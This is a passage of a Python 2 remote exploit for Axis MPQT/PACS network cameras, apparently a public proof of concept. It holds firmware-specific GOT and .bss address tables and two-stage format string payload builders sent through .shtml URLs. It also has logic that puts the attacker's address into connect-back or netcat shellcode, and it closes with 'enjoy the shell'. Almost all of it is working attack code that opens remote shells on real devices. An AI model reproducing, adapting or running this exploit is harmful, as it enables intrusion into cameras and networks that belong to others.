                                0x41e578,       # Adjust to GOT free() address
                                0x41fae0,       # .bss shellcode address
                                2,              # 1st POP's
                                2,              # 2nd POP's
                                'axi',          # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # MPQT
                'MIPS-6.20x': [
                                0x41d0c4,       # Adjust to GOT free() address
                                0x41e700,       # .bss shellcode address
                                3,              # 1st POP's
                                13,             # 2nd POP's
                                'axi',          # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # PACS
                'MIPS-1.3x': [
                                0x41e4cc,       # Adjust to GOT free() address
                                0x420a78,       # .bss shellcode address
                                7,              # 1st POP's
                                11,             # 2nd POP's
                                'axis',         # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

                # PACS
                'MIPS-1.1x': [
                                0x41e268,       # Adjust to GOT free() address
                                0x420818,       # .bss shellcode address
                                7,              # 1st POP's
                                11,             # 2nd POP's
                                'axis',         # Aligns injected code
                                700,            # How big buffer before shellcode
                                'MIPSel'        # Shellcode type
                ],

#
# Tested with execstack to set executable stack flag bit on bin's and lib's
#
# These two 'Old Style' are not used in the exploit, but kept here as reference as they has been confirmed working.
#

                # ARMel with bin/libs executable stack flag set with 'execstack'
                # MPQT
                'ARM-5.50x': [                  # 
                                0x1c1b4,        # Adjust to GOT free() address
                                0x1e7c8,        # .bss shellcode address
                                93,             # 1st POP's
                                1,              # 2nd POP's
                                'axis',         # Aligns injected code
                                700,            # How big buffer before shellcode
                                'ARMel'         # Shellcode type (ARMel)
                ],

                # ARMel with bin/libs executable stack flag set with 'execstack'
                # MPQT
                'ARM-5.55x': [                  # 
                                0x1c15c,        # Adjust to GOT free() address
                                0x1e834,        # .bss shellcode address
                                59,             # 1st POP's
                                80,             # 2nd POP's
                                'axis',         # Aligns injected code
                                800,            # How big buffer before shellcode
                                'ARMel'         # Shellcode type (ARMel)
                ],

#
# Using direct parameter access format string, AKA 'New Style'
#
                # MPQT
                'ARM-NCSH-5.20x': [             # AXIS P1311 5.20 (id=root)
                                0x1c1b4,        # Adjust to GOT free() address
                                0x10178,        # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
                                61,             # 1st POP's
                                115,            # 2nd POP's
                                143,            # 3rd POP's
                                118,            # 4th POP's
                                'NCSH2'         # Shellcode type (Netcat Shell)
                ],

                # MPQT
                'ARM-NCSH-5.2x': [              # 
                                0x1c1b4,        # Adjust to GOT free() address
                                0x1013c,        # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
                                61,             # 1st POP's
                                115,            # 2nd POP's
                                143,            # 3rd POP's
                                118,            # 4th POP's
                                'NCSH2'         # Shellcode type (Netcat Shell)
                ],

                # MPQT
                'ARM-NCSH-5.4x': [              # 
                                0x1c1b4,        # Adjust to GOT free() address
                                0x101fc,        # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
                                61,             # 1st POP's
                                115,            # 2nd POP's
                                143,            # 3rd POP's
                                118,            # 4th POP's
                                'NCSH2'         # Shellcode type (Netcat Shell)
                ],
#
# Using POP format string, AKA 'Old Style'
#

                # MPQT
                'ARM-NCSH-5.5x': [              # 
                                0x1c15c,        # Adjust to GOT free() address
                                0xfdcc,         # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
                                97,             # 1st POP's
                                0,              # 2nd POP's
                                41,             # 3rd POP's
                                0,              # 4th POP's
                                'NCSH1'         # Shellcode type (Netcat Shell)
                ],

                # MPQT
                'ARM-NCSH-5.6x': [              # 
                                0x1c15c,        # Adjust to GOT free() address
                                0xfcec,         # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
                                97,             # 1st POP's
                                0,              # 2nd POP's
                                41,             # 3rd POP's
                                0,              # 4th POP's
                                'NCSH1'         # Shellcode type (Netcat Shell)
                ],

                # MPQT
                'ARM-NCSH-5.7x': [              # 
                                0x1c1c0,        # Adjust to GOT free() address
                                0xf800,         # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
                                132,            # 1st POP's
                                0,              # 2nd POP's
                                34,             # 3rd POP's
                                0,              # 4th POP's
                                'NCSH1'         # Shellcode type (Netcat Shell)
                ],

                # Will go in endless loop after exit of nc shell... DoS sux
                # MPQT
                'ARM-NCSH-5.8x': [              # 
                                0x1b39c,        # Adjust to GOT free() address
                                0xf8c0,         # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
                                98,             # 1st POP's
                                0,              # 2nd POP's
                                34,             # 3rd POP's
                                1,              # 4th POP's
                                'NCSH1'         # Shellcode type (Netcat Shell)
                ],

                # MPQT
                'ARM-NCSH-6.1x': [              # 
                                0x1d2a4,        # Adjust to GOT free() address
#                               0xecc4,         # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
                                0xecc8,         # Adjust to "/bin/sh -c; pipe(); vfork(); execve()"
                                106,            # 1st POP's
                                0,              # 2nd POP's
                                34,             # 3rd POP's
                                1,              # 4th POP's
                                'NCSH1'         # Shellcode type (Netcat Shell)
                ],
#
# Using POP format string, AKA 'Old Style'
#

                # MPQT
                'CRISv32-5.5x': [               # 
                                0x8d148,        # Adjust to GOT free() address
                                0x8f5a8,        # .bss shellcode address
                                4,              # 1st POP's
                                13,             # 2nd POP's
                                'axis',         # Aligns injected code
                                470,            # How big buffer before shellcode
                                'CRISv32'       # Shellcode type (Crisv32)
                ],

                # MPQT
                'CRISv32-5.4x': [               # 
                                0x8d0e0,        # Adjust to GOT free() address
                                0x8f542,        # .bss shellcode address
                                4,              # 1st POP's
                                13,             # 2nd POP's
                                'axis',         # Aligns injected code
                                470,            # How big buffer before shellcode
                                'CRISv32'       # Shellcode type (Crisv32)
                ],

                # MPQT
                'CRISv32-5.2x': [               # 
                                0x8d0b4,        # Adjust to GOT free() address
                                0x8f4d6,        # .bss shellcode address
                                4,              # 1st POP's
                                13,             # 2nd POP's
                                'axis',         # Aligns injected code
                                470,            # How big buffer before shellcode
                                'CRISv32'       # Shellcode type (Crisv32)
                ],

                # MPQT
                'CRISv32-5.20.0': [             # 
                                0x8d0e4,        # Adjust to GOT free() address
                                0x8f546,        # .bss shellcode address
                                4,              # 1st POP's
                                13,             # 2nd POP's
                                'axis',         # Aligns injected code
                                470,            # How big buffer before shellcode
                                'CRISv32'       # Shellcode type (Crisv32)
                ]


        }

                if self.target == 0:
                        return target_db
                        
                if not self.target in target_db:
                        print "[!] Unknown FMS key: %s!" % self.target
                        sys.exit(1)
        
                if self.verbose:
                        print "[Verbose] Number of availible FMS keys:",len(target_db)

                return target_db


#
# Validate correctness of HOST, IP and PORT
#
class Validate:

        def __init__(self,verbose):
                self.verbose = verbose

        # Check if IP is valid
        def CheckIP(self,IP):
                self.IP = IP

                ip = self.IP.split('.')
                if len(ip) != 4:
                        return False
                for tmp in ip:
                        if not tmp.isdigit():
                                return False
                i = int(tmp)
                if i < 0 or i > 255:
                        return False
                return True

        # Check if PORT is valid
        def Port(self,PORT):
                self.PORT = PORT

                if int(self.PORT) < 1 or int(self.PORT) > 65535:
                        return False
                else:
                        return True

        # Check if HOST is valid
        def Host(self,HOST):
                self.HOST = HOST

                try:
                        # Check valid IP
                        socket.inet_aton(self.HOST) # Will generate exeption if we try with FQDN or invalid IP
                        # Or we check again if it is correct typed IP
                        if self.CheckIP(self.HOST):
                                return self.HOST
                        else:
                                return False
                except socket.error as e:
                        # Else check valid DNS name, and use the IP address
                        try:
                                self.HOST = socket.gethostbyname(self.HOST)
                                return self.HOST
                        except socket.error as e:
                                return False



if __name__ == '__main__':

#
# Help, info and pre-defined values
#       
        INFO = '[Axis Communications MPQT/PACS remote exploit 2016 bashis <mcw noemail eu>]'
        HTTP = "http"
        HTTPS = "https"
        proto = HTTP
        verbose = False
        noexploit = False
        lhost = '192.168.0.1'   # Default Local HOST
        lport = '31337'         # Default Local PORT
        rhost = '192.168.0.90'  # Default Remote HOST
        rport = '80'            # Default Remote PORT
        #  Not needed for the SSI exploit, here for possible future usage.
#       creds = 'root:pass'
        creds = False

#
# Try to parse all arguments
#
        try:
                arg_parser = argparse.ArgumentParser(
#               prog=sys.argv[0],
                prog='axis-ssid-PoC.py',
                description=('[*]' + INFO + '\n'))
                arg_parser.add_argument('--rhost', required=False, help='Remote Target Address (IP/FQDN) [Default: '+ 
rhost +']')
                arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ 
rport +']')
                arg_parser.add_argument('--lhost', required=False, help='Connect Back Address (IP/FQDN) [Default: '+ 
lhost +']')
                arg_parser.add_argument('--lport', required=False, help='Connect Back Port [Default: '+ lport + ']')
                arg_parser.add_argument('--fms', required=False, help='Manual FMS key')
                if creds:
                        arg_parser.add_argument('--auth', required=False, help='Basic Authentication [Default: '+ creds 
+ ']')
                arg_parser.add_argument('--https', required=False, default=False, action='store_true', help='Use HTTPS 
for remote connection [Default: HTTP]')
                arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', 
help='Verbose mode [Default: False]')
                arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple 
testmode; With --verbose testing all code without exploiting [Default: False]')
                arg_parser.add_argument('--dict', required=False, default=False, action='store_true', help='Print FMS 
keys and stats from dictionary, additional details with --verbose')
                args = arg_parser.parse_args()
        except Exception as e:
                print INFO,"\nError: %s\n" % str(e)
                sys.exit(1)

        # We want at least one argument, so print out help
        if len(sys.argv) == 1:
                arg_parser.parse_args(['-h'])

        print "\n[*]",INFO

        if args.verbose:
                verbose = args.verbose

        # Print out info from dictionary
        if args.dict:
                target = FMSdb(rhost,verbose).FMSkey(0)
                print "[db] Number of FMS keys:",len(target)

                # Print out detailed info from dictionary
                if verbose:

                        print "[db] Target details of FMS Keys availible for manual xploiting"
                        print "\n[FMS Key]\t[GOT Address]\t[BinSh Address]\t[POP1]\t[POP2]\t[POP3]\t[POP4]\t[Shellcode]"

                        for tmp in range(0,len(target)):
                                Key = sorted(target.keys())[tmp]
                                temp = re.split('[-]',Key)[0:10]

                                if temp[1] == 'NCSH':
                                        print 
Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',target[Key][4],'\t',target[Key][5],'\t',target[Key][6]

                        print "\n[FMS Key]\t[GOT Address]\t[BSS Address]\t[POP1]\t[POP2]\t[Align]\t[Buf]\t[Shellcode]"
                        for tmp in range(0,len(target)):
                                Key = sorted(target.keys())[tmp]
                                temp = re.split('[-]',Key)[0:10]

                                if temp[1] != 'NCSH':
                                        print 
Key,'\t','0x{:08x}'.format(target[Key][0]),'\t','0x{:08x}'.format(target[Key][1]),'\t',target[Key][2],'\t',target[Key][3],'\t',len(target[Key][4]),'\t',target[Key][5],'\t',target[Key][6]

                        print "\n"
                else:
                        print "[db] Target FMS Keys availible for manual xploiting instead of using auto mode:"
                        Key = ""
                        for tmp in range(0,len(target)):
                                Key += sorted(target.keys())[tmp]
                                Key += ', '
                        print '\n',Key,'\n'
                sys.exit(0)

#
# Check validity, update if needed, of provided options
#
        if args.https:
                proto = HTTPS
                if not args.rport:
                        rport = '443'

        if creds and args.auth:
                creds = args.auth

        if args.noexploit:
                noexploit = args.noexploit

        if args.rport:
                rport = args.rport

        if args.rhost:
                rhost = args.rhost

        if args.lport:
                lport = args.lport

        if args.lhost:
                lhost = args.lhost

        # Check if LPORT is valid
        if not Validate(verbose).Port(lport):
                print "[!] Invalid LPORT - Choose between 1 and 65535"
                sys.exit(1)

        # Check if RPORT is valid
        if not Validate(verbose).Port(rport):
                print "[!] Invalid RPORT - Choose between 1 and 65535"
                sys.exit(1)

        # Check if LHOST is valid IP or FQDN, get IP back
        lhost = Validate(verbose).Host(lhost)
        if not lhost:
                print "[!] Invalid LHOST"
                sys.exit(1)

        # Check if RHOST is valid IP or FQDN, get IP back
        rhost = Validate(verbose).Host(rhost)
        if not rhost:
                print "[!] Invalid RHOST"
                sys.exit(1)


#
# Validation done, start print out stuff to the user
#
        if noexploit:
                print "[i] Test mode selected, no exploiting..."
        if args.https:
                print "[i] HTTPS / SSL Mode Selected"
        print "[i] Remote target IP:",rhost
        print "[i] Remote target PORT:",rport
        print "[i] Connect back IP:",lhost
        print "[i] Connect back PORT:",lport

        rhost = rhost + ':' + rport

#
# FMS key is required into this PoC
#
        if not args.fms:
                print "[!] FMS key is required!"
                sys.exit(1)
        else:
                Key = args.fms
                print "[i] Trying with FMS key:",Key

#
# Prepare exploiting
#
        # Look up the FMS key in dictionary and return pointer for FMS details to use
        target = FMSdb(rhost,verbose).FMSkey(Key)

        if target[Key][6] == 'NCSH1':
                NCSH1 = target[Key][6]
                NCSH2 = ""
        elif target[Key][6] == 'NCSH2':
                NCSH2 = target[Key][6]
                NCSH1 = ""
        else:
                NCSH1 = ""
                NCSH2 = ""
        
        if Key == 'ARM-NCSH-5.8x':
                print "\nExploit working, but will end up in endless loop after exiting remote NCSH\nDoS sux, so I'm 
exiting before that shit....\n\n"
                sys.exit(0)

        print "[i] Preparing shellcode:",str(target[Key][6])

        # We don't use url encoded shellcode with Netcat shell
        # This is for MIPS/CRISv32 and ARM shellcode
        if not NCSH1 and not NCSH2:
                FMSdata = target[Key][4]                # This entry aligns the injected shellcode

                # Building up the url encoded shellcode for sending to the target,
                # and replacing LHOST / LPORT in shellcode to choosen values
                
                # part of first 500 decoded bytes will be overwritten during stage #2, and since
                # there is different 'tailing' on the request internally, keep it little more than needed, to be safe.
                # Let it be 0x00, just for fun.
                FMSdata += '%00' * target[Key][5]

                # Connect back IP to url encoded
                ip_hex = '%{:02x} %{:02x} %{:02x} %{:02x}'.format(*map(int, lhost.split('.')))
                ip_hex = ip_hex.split()
                IP1=ip_hex[0];IP2=ip_hex[1];IP3=ip_hex[2];IP4=ip_hex[3];

                # Let's break apart the hex code of LPORT into two bytes
                port_hex = hex(int(lport))[2:]
                port_hex = port_hex.zfill(len(port_hex) + len(port_hex) % 2)
                port_hex = ' '.join(port_hex[i: i+2] for i in range(0, len(port_hex), 2))
                port_hex = port_hex.split()
        
                if (target[Key][6]) == 'MIPSel':
                        # Connect back PORT
                        if len(port_hex) == 1:
                                PP1 = "%ff"
                                PP0 = '%{:02x}'.format((int(port_hex[0],16)-1))
                        elif len(port_hex) == 2:
                                # Little Endian
                                PP1 = '%{:02x}'.format((int(port_hex[0],16)-1))
                                PP0 = '%{:02x}'.format(int(port_hex[1],16))
                elif (target[Key][6]) == 'ARMel': # Could be combinded with CRISv32
                        # Connect back PORT
                        if len(port_hex) == 1:
                                PP1 = "%00"
                                PP0 = '%{:02x}'.format(int(port_hex[0],16))
                        elif len(port_hex) == 2:
                                # Little Endian
                                PP1 = '%{:02x}'.format(int(port_hex[0],16))
                                PP0 = '%{:02x}'.format(int(port_hex[1],16))
                elif (target[Key][6]) == 'CRISv32':
                        # Connect back PORT
                        if len(port_hex) == 1:
                                PP1 = "%00"
                                PP0 = '%{:02x}'.format(int(port_hex[0],16))
                        elif len(port_hex) == 2:
                                # Little Endian
                                PP1 = '%{:02x}'.format(int(port_hex[0],16))
                                PP0 = '%{:02x}'.format(int(port_hex[1],16))
                else:
                        print "[!] Unknown shellcode! (%s)" % str(target[Key][6])
                        sys.exit(1)

                # Replace LHOST / LPORT in URL encoded shellcode
                shell = shellcode_db(rhost,verbose).sc(target[Key][6])
                shell = shell.replace("IP1",IP1)
                shell = shell.replace("IP2",IP2)
                shell = shell.replace("IP3",IP3)
                shell = shell.replace("IP4",IP4)
                shell = shell.replace("PP0",PP0)
                shell = shell.replace("PP1",PP1)
                FMSdata += shell

#
# Calculate the FMS values to be used
#
        # Get pre-defined values
        ALREADY_WRITTEN = 40    # Already 'written' in the daemon before our FMS
#       POP_SIZE = 8
        POP_SIZE = 1

        GOThex = target[Key][0]
        BSShex = target[Key][1]
        GOTint = int(GOThex)

        # 'One-Write-Where-And-What'
        if not NCSH1 and not NCSH2:

                POP1 = target[Key][2]
                POP2 = target[Key][3]

                # Calculate for creating the FMS code
                ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)
                GOTint = (GOTint - ALREADY_WRITTEN)
        
                ALREADY_WRITTEN = ALREADY_WRITTEN + (POP2 * POP_SIZE)

                BSSint = int(BSShex)
                BSSint = (BSSint - GOTint - ALREADY_WRITTEN)

#               if verbose:
#                       print "[Verbose] Calculated GOTint:",GOTint,"Calculated BSSint:",BSSint

        # 'Two-Write-Where-And-What' using "New Style"
        elif NCSH2:

                POP1 = target[Key][2]
                POP2 = target[Key][3]
                POP3 = target[Key][4]
                POP4 = target[Key][5]
                POP2_SIZE = 2
                
                # We need to count higher than provided address for the jump
                BaseAddr = 0x10000 + BSShex
        
                # Calculate for creating the FMS code
                GOTint = (GOTint - ALREADY_WRITTEN)

                ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint
                
                # Calculate FirstWhat value
                FirstWhat = BaseAddr - (ALREADY_WRITTEN)
                
                ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat

                # Calculate SecondWhat value, so it always is 0x20300
                SecondWhat = 0x20300 - (ALREADY_WRITTEN + POP2_SIZE)

                shell = shellcode_db(rhost,verbose).sc(target[Key][6])
                shell = shell.replace("LHOST",lhost)
                shell = shell.replace("LPORT",lport)

                FirstWhat = FirstWhat - len(shell)

#               if verbose:
#                       print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated 
SecondWhat:",SecondWhat
        
        
        # 'Two-Write-Where-And-What' using "Old Style"
        elif NCSH1:

                POP1 = target[Key][2]
                POP2 = target[Key][3]
                POP3 = target[Key][4]
                POP4 = target[Key][5]
                POP2_SIZE = 2

                # FirstWhat writes with 4 bytes (Y) (0x0002YYYY)
                # SecondWhat writes with 1 byte (Z) (0x00ZZYYYY)
                if BSShex > 0x10000:
                        MSB = 1
                else:
                        MSB = 0

                # We need to count higher than provided address for the jump
                BaseAddr = 0x10000 + BSShex

                # Calculate for creating the FMS code
                ALREADY_WRITTEN = ALREADY_WRITTEN + (POP1 * POP_SIZE)
                
                GOTint = (GOTint - ALREADY_WRITTEN)
                
                ALREADY_WRITTEN = ALREADY_WRITTEN + GOTint + POP2_SIZE + (POP3 * POP_SIZE)
                
                # Calculate FirstWhat value
                FirstWhat = BaseAddr - (ALREADY_WRITTEN)
                
                ALREADY_WRITTEN = ALREADY_WRITTEN + FirstWhat + (POP4 * POP_SIZE)

                # Calculate SecondWhat value, so it always is 0x203[00] or [01]
                SecondWhat = 0x20300 - (ALREADY_WRITTEN) + MSB

                shell = shellcode_db(rhost,verbose).sc(target[Key][6])
                shell = shell.replace("LHOST",lhost)
                shell = shell.replace("LPORT",lport)

                GOTint = GOTint - len(shell)

#               if verbose:
#                       print "[Verbose] Calculated GOTint:",GOTint,"Calculated FirstWhat:",FirstWhat,"Calculated 
SecondWhat:",SecondWhat
        
        else:
                print "[!] NCSH missing, exiting"
                sys.exit(1)
#
# Let's start the exploiting procedure
#

#
# Stage one
#
        if NCSH1 or NCSH2:

                # "New Style" needs to make the exploit in two stages
                if NCSH2:
                        FMScode = do_FMS(rhost,verbose)
                        # Writing 'FirstWhere' and 'SecondWhere'
                        # 1st request
                        FMScode.AddADDR(GOTint) # Run up to free() GOT address
                        #
                        # 1st and 2nd "Write-Where"
                        FMScode.AddDirectParameterN(POP1)       # Write 1st Where
                        FMScode.Add("XX")                       # Jump up two bytes for next address
                        FMScode.AddDirectParameterN(POP2)       # Write 2nd Where
                        FMSdata = FMScode.FMSbuild()
                else:
                        FMSdata = ""

                print "[>] StG_1: Preparing netcat connect back shell to address:",'0x{:08x}'.format(BSShex),"(%d 
bytes)" % (len(FMSdata))
        else:
                print "[>] StG_1: Sending and decoding shellcode to address:",'0x{:08x}'.format(BSShex),"(%d bytes)" % 
(len(FMSdata))

        # Inject our encoded shellcode to be decoded in MIPS/CRISv32/ARM
        # Actually, any valid and public readable .shtml file will work...
        # (One of the two below seems always to be usable)
        #
        # For NCSH1 shell, we only check if the remote file are readable, for usage in Stage two
        # For NCSH2, 1st and 2nd (Write-Where) FMS comes here, and calculations start after '=' in the url
        #
        try:
                target_url = "/httpDisabled.shtml?user_agent="
                if noexploit:
                        target_url2 = target_url
                else:
                        target_url2 = "/httpDisabled.shtml?&http_user="

                if NCSH2:
                        html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat 
shell
                else:
                        html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)
        except urllib2.HTTPError as e:
                if e.code == 404:
                        print "[<] Error",e.code,e.reason
                        target_url = "/view/viewer_index.shtml?user_agent="
                        if noexploit:
                                target_url2 = target_url
                        else:
                                target_url2 = "/view/viewer_index.shtml?&http_user="
                        print "[>] Using alternative target shtml"
                        if NCSH2:
                                html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # 
Netcat shell
                        else:
                                html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url + FMSdata)
        except Exception as e:
                if not NCSH2:
                        print "[!] Shellcode delivery failed:",str(e)
                        sys.exit(1)
#
# Stage two
#

#
# Building and sending the FMS code to the target
#
        print "[i] Building the FMS code..."

        FMScode = do_FMS(rhost,verbose)

        # This is an 'One-Write-Where-And-What' for FMS
        #
        # Stack Example:
        #
        # Stack content |       Stack address (ASLR)
        #
        # 0x0           |       @0x7e818dbc -> [POP1's]
        # 0x0           |       @0x7e818dc0 -> [free () GOT address]
        # 0x7e818dd0    |       @0x7e818dc4>>>>>+ "Write-Where" (%n)
        # 0x76f41fb8    |       @0x7e818dc8     | -> [POP2's]
        # 0x76f3d70c    |       @0x7e818dcc     | -> [BSS shell code address]
        # 0x76f55ab8    |       @0x7e818dd0<<<<<+ "Write-What" (%n)
        # 0x1           |       @0x7e818dd4
        #
        if not NCSH1 and not NCSH2:
                FMScode.AddPOP(POP1)            # 1st serie of 'Old Style' POP's 
                FMScode.AddADDR(GOTint)         # GOT Address
                FMScode.AddWRITEn(1)            # 4 bytes Write-Where
#               FMScode.AddWRITElln(1)          # Easier to locate while debugging as this will write double word 
(0x00000000004xxxxx)

                FMScode.AddPOP(POP2)            # 2nd serie of 'Old Style' POP's
                FMScode.AddADDR(BSSint)         # BSS shellcode address
                FMScode.AddWRITEn(1)            # 4 bytes Write-What
#               FMScode.AddWRITElln(1)          # Easier to locate while debugging as this will write double word 
(0x00000000004xxxxx)

        # End of 'One-Write-Where-And-What'


        # This is an 'Two-Write-Where-And-What' for FMS
        #
        # Netcat shell and FMS code in same request, we will jump to the SSI function <!--#exec cmd="xxx" -->
        # We jump over all SSI tagging to end up directly where "xxx" will
        # be the string passed on to SSI exec function ('/bin/sh -c', pipe(), vfork() and execv())
        #
        # The Trick here is to write lower target address, that we will jump to when calling free(),
        # than the FMS has counted up to, by using Two-Write-Where-and-What with two writes to free() GOT
        # address with two LSB writes.
        #
        elif NCSH2:
                #
                # Direct parameter access for FMS exploitation are really nice and easy to use.
                # However, we need to exploit in two stages with two requests.
                # (I was trying to avoid this "Two-Stages" so much as possibly in this exploit developement...)
                #
                # 1. Write "Two-Write-Where", where 2nd is two bytes higher than 1st (this allows us to write to MSB 
and LSB)
                # 2. Write with "Two-Write-What", where 1st (LSB) and 2nd (MSB) "Write-Where" pointing to.
                # 
                # With "new style", we can write with POPs independently as we don't depended of same criteria as in 
"NCSH1",
                # we can use any regular "Stack-to-Stack" pointer as we can freely choose the POP-and-Write.
                # [Note the POP1/POP2 (low-high) vs POP3/POP4 (high-low) difference.]
                #
                # Stack Example:
                #
                # Stack content |       Stack address (ASLR)
                #
                # 0x7e818dd0    |       @0x7e818dc4>>>>>+ 1st "Write-Where" [@Stage One]
                # 0x76f41fb8    |       @0x7e818dc8     |
                # 0x76f3d70c    |       @0x7e818dcc     |
                # 0x76f55ab8    |       @0x7e818dd0<<<<<+ 1st "Write-What" [@Stage Two]
                # 0x1           |       @0x7e818dd4
                # [....]
                # 0x1c154       |       @0x7e818e10
                # 0x7e818e20    |       @0x7e818e14>>>>>+ 2nd "Write-Where" [@Stage One]
                # 0x76f41fb8    |       @0x7e818e18     |
                # 0x76f3d70c    |       @0x7e818e1c     |
                # 0x76f55758    |       @0x7e818e20<<<<<+ 2nd "Write-What" [@Stage Two]
                # 0x1           |       @0x7e818e24
                #

                FMScode.Add(shell)

                #
                # 1st and 2nd "Write-Where" already done in stage one
                #
                # 1st and 2nd "Write-What"
                #
                FMScode.AddADDR(GOTint + FirstWhat)     # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in 
target address.
                FMScode.AddDirectParameterN(POP3)       # Write with 4 bytes (we want to zero out in MSB)
                FMScode.AddADDR(SecondWhat + 3)         # Run up to 0x00020300, write with LSB (0xZZ) to lower part of 
MSB. (0x00ZZXXXX)
                FMScode.AddDirectParameterHHN(POP4)     # Write with one byte 0x000203[00] or 0x000203[01] depending 
from above calculation

        elif NCSH1:
                # Could use direct argument addressing here, but I like to keep "old style" as well,
                # as it's another interesting concept.
                #
                # Two matching stack contents -> stack address in row w/o or max two POP's between,
                # is needed to write two bytes higher (MSB).
                # 
                #
                # Stack Example:
                #
                # Stack Content |       @Stack Address (ASLR)
                #
                # 0x9c          |       @7ef2fde8 -> [POP1's]
                # [....]
                # 0x1           |       @7ef2fdec -> [GOTint address]
                #------
                # 0x7ef2fe84    |       @7ef2fdf0 >>>>>+     Write 'FirstWhere' (%n) [LSB]
                #                       -> 'XX'        |     two bytes (Can be one or two POP's as well, by using %2c 
or %1c%1c as POPer)
                # 0x7ef2fe8c    |       @7ef2fdf4 >>>>>>>>>+ Write 'SecondWhere' (%n) [MSB]
                # ------                               |   |
                # [....]                -> [POP3's]    |   |
                # 0x7fb99dc     |       @7ef2fe7c      |   |
                # 0x7ef2fe84    |       @7ef2fe80      |   | [Count up to 0x2XXXX]
                # 0x7ef2ff6a    |       @7ef2fe84 <<<<<+   | Write 'XXXX' 'FirstWhat' (%n) (0x0002XXXX))
                #                       -> [POP4's]        |
                # (nil)         |       @7ef2fe88          | [Count up to 0x20300]
                # 0x7ef2ff74    |       @7ef2fe8c <<<<<<<<<+ Write 'ZZ' 'SecondWhat' (%hhn) (0x00ZZXXXX)

                FMScode.Add(shell)

                # Write FirstWhere for 'FirstWhat'
                FMScode.AddPOP(POP1)
                FMScode.AddADDR(GOTint) # Run up to free() GOT address
                FMScode.AddWRITEn(1)

                # Write SecondWhere for 'SecondWhat'
                #
                # This is special POP with 1 byte, we can maximum POP 2!
                #
                # This POP sequence is actually no longer used in this part of exploit, was developed to meet the 
requirement
                # for exploitation of 5.2.x and 5.40.x, as there needed to be one POP with maximum of two bytes.
                # Kept as reference as we now using direct parameter access AKA 'New Style" for 5.2x/5.4x
                #
                if POP2 != 0:
                        # We only want to write 'SecondWhat' two bytes higher at free() GOT
                        if POP2 > 2:
                                print "POP2 can't be greater than two!"
                                sys.exit(1)
                        if POP2 == 1:
                                FMScode.Add("%2c")
                        else:
                                FMScode.Add("%1c%1c")
                else:
                        FMScode.Add("XX")
                FMScode.AddWRITEn(1)

                # Write FirstWhat pointed by FirstWhere
                FMScode.AddPOP(POP3)            # Old Style POP's
                FMScode.AddADDR(FirstWhat)      # Run up to 0x0002XXXX, write with LSB (0xXXXX) to LSB in target 
address.
                FMScode.AddWRITEn(1)            # Write with 4 bytes (we want to zero out in MSB)
                
                # Write SecondWhat pointed by SecondWhere
                FMScode.AddPOP(POP4)            # Old Style POP's
                FMScode.AddADDR(SecondWhat)     # Run up to 0x00020300, write with LSB (0xZZ) to lower part of MSB. 
(0x00ZZXXXX)
                FMScode.AddWRITEhhn(1)          # Write with one byte 0x000203[00] or 0x000203[01] depending from above 
calculation

        else:
                sys.exit(1)

        FMSdata = FMScode.FMSbuild()

        print "[>] StG_2: Writing shellcode address to free() GOT address:",'0x{:08x}'.format(GOThex),"(%d bytes)" % 
(len(FMSdata))

        # FMS comes here, and calculations start after '=' in the url
        try:
                if NCSH1 or NCSH2:
                        html = HTTPconnect(rhost,proto,verbose,creds,noexploit).RAW(target_url2 + FMSdata) # Netcat 
shell
                else:
                        html = HTTPconnect(rhost,proto,verbose,creds,noexploit).Send(target_url2 + FMSdata) # MIPS/CRIS 
shellcode
        except urllib2.HTTPError as e:
                print "[!] Payload delivery failed:",str(e)
                sys.exit(1)
        except Exception as e:
                # 1st string returned by HTTP mode, 2nd by HTTPS mode
                if str(e) == "timed out" or str(e) == "('The read operation timed out',)":
                        print "[i] Timeout! Payload delivered sucessfully!"
                else:
                        print "[!] Payload delivery failed:",str(e)
                        sys.exit(1)

        if noexploit:
                print "\n[*] Not exploiting, no shell...\n"
        else:
                print "\n[*] All done, enjoy the shell...\n"

#
# [EOF]
#


Current thread: